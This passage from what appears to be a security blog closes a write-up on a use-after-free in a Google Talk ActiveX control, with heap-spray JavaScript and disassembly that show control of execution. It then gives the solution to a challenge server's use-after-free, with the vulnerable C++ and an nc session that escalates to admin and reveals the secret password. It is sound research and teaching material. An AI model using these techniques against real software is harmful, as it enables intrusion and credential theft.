      dospray();  
      //interact with the object  
      var ver = sdr.version;  
      sdr.send("sean");  
 }  
 //prime the lfh heap  
 dospray();  
 //spray reliable so location at 0x20302228 holds our data  
 corelan_deps_spray();  
 //invoke callback function  
 sdr.onmessage = sdrcallback;  
 </script>  
 <body>  
 
 </body>  
 </html>  

This code will do a DEPS heap spray to reliably set the memory at 0x20302228 to value 0x61616161.
Then the code in "onmessage" will free the object and spray the heap with objects of the same size ( 0x50 bytes). The stale pointer will now point to our allocated memory, which contains pointers to the 0x20302228 address. The following ASM code is executed when the stale pointer is accessed.

 13e70ca5 8b471c     mov   eax,dword ptr [edi+1Ch]  
 13e70ca8 8b30      mov   esi,dword ptr [eax] 
 13e70caa 8d850cffffff  lea   eax,[ebp-0F4h]  
 13e70cb0 50       push  eax  
 13e70cb1 8d45e4     lea   eax,[ebp-1Ch]  
 13e70cb4 50       push  eax  
 13e70cb5 e8768e0000   call  googletalkax!DllUnregisterServer+0xf210 (13e79b30)  
 13e70cba 8b4f1c     mov   ecx,dword ptr [edi+1Ch]  
 13e70cbd 83c408     add   esp,8  
 13e70cc0 50       push  eax  
 13e70cc1 ff5604     call  dword ptr [esi+4]  

Edi+1c holds to the stale pointer that is now replaced with our chunk that holds 0x20302228, this is loaded into eax and the value at 0x20302228 is then put into the ESI register. This is the 0x6161615d that was sprayed there with the DEPS spray. The program then calls ESI+4, which is a call to our user supplied address 0x61616161 and proves code execution.

Further Exploitation


The next step would be to turn this into a fully working exploit. Because of DEP and ASLR, we would need to use this bug to create an infoleak. I spent some time looking into this, using
https://media.blackhat.com/bh-us-12/Briefings/Serna/BH_US_12_Serna_Leak_Era_Slides.pdf as inspiration, but I could not find a way to proceed next.
If you have any ideas, please contact me to discuss them. I would be very interested into turning this bug into an infoleak.

zondag 10 april 2016

Cyber Security Challenge - Solution

The vulnerability you were looking for is a Use After Free bug.

The application uses the "authenticationinfo" string to store if the user is logged in as an administrator or anonymous user. This is done in the following code block, as part of the "password" operand.
  1.                 //create authorization strings
  2. authenticationinfo = (char *)malloc(200);
  3.                 if (authenticationinfo == NULL)
  4.                 {
  5.                     cout << "malloc error" << endl;
  6.                     continue;
  7.                 }
  8.                 memset(authenticationinfo, 0x00200);
  9.                 strcat_s(authenticationinfo, 200"Logged in user ");
  10.                 if (password.compare(secretPassword) == 0)
  11.                 {
  12.                     string msg = "you are now logged in as an admin\n";
  13.                     send(ClientSocket, msg.c_str(), msg.length()0);
  14.                     strcat_s(authenticationinfo, 200"Administrator");
  15.                 }
  16.                 else
  17.                 {
  18.                     string msg = "Authentication failure\n";
  19.                     send(ClientSocket, msg.c_str(), msg.length()0);
  20.                     strcat_s(authenticationinfo, 200"Anonymous");
  21.                 }


The "authenticationinfo" string is 200 bytes of data stored on the heap. When the user logs out via the "logout" operand, this memory is freed by the application.

  1.             else if (operand.compare("logout") == 0)
  2. {
  3.                 cout << "logout operand called" << endl;
  4.                 if (authenticationinfo != NULL)
  5.                 {
  6.                     free(authenticationinfo);
  7.                 }
  8.                 string msg = "you are now logged out\nPlease Disconnect\n";
  9.                 send(ClientSocket, msg.c_str(), msg.length()0);
  10.             }


However, the connection is not closed, so the user can still send commands to the server. After logout, "authenticationinfo" points to freed memory so it is possible to reclaim the memory at this pointer by allocating 200 bytes.

The "resetpassword" operand allows the user to allocate memory on the heap and specify the size of the allocated blob via the length of the string that is passed.



  1.             else if (operand.compare("resetpassword") == 0)
  2. {
  3.                 cout << "reset pass operand" << endl;
  4.                 //get parameter
  5.                 string newPassword = getParameter(recvbuf);
  6.  
  7.                 unsigned int passwordlength = newPassword.length();
  8.                 if (passwordlength > 300)
  9.                 {
  10.                     wcout << "new password too long";
  11.                     continue;
  12.                 }
  13.                 char *newpass = (char *)malloc(passwordlength);
  14.                 wcout << "allocated " << passwordlength << endl;
  15.                 if (newpass == NULL)
  16.                 {
  17.                     cout << "malloc error; restarting program" << endl;
  18.                 }
  19.                 memcpy(newpass, newPassword.c_str(), passwordlength);
  20.  
  21.                 //write new password to file
  22.                 writeNewPassword(newpass);
  23.  

As a result, calling "resetpassword" with a 200 byte argument will allocate 200 bytes on the heap. If this is done after "authenticationinfo" is freed, the memory will be allocated at the address that "authenticationinfo" points to.

A final step in the exploitation process is using the "getpassword" operand. This operand contains a stale pointer to the "authenticationinfo" string. The code checks if the string contains "Administrator".
At this point, we have re-used the memory to where "authenticationinfo" points by our own string via "resetpassword". We can include "Administrator" in our string.

The following commands can be used to exploit the issue:

C:\Users\Sean>nc 52.23.249.148 9000 -vvvvvv
ec2-52-23-249-148.compute-1.amazonaws.com [52.23.249.148] 9000 (?) open
login:Administrator
password:test **this will create the 200 byte authenticationinfo string **
Authentication failure
logout: ** this will free the authenticationinfo string **
you are now logged out
Please Disconnect
resetpassword:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAdministratoraaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ** this will allocated 200 bytes on the heap, at the location where the "authenticationinfo" string was stored **
getpassword: ** here the program will check if the string contains "Administrator" and return the password **
Your secret password is: !!Erick*Is*Zuivertjes*2016!!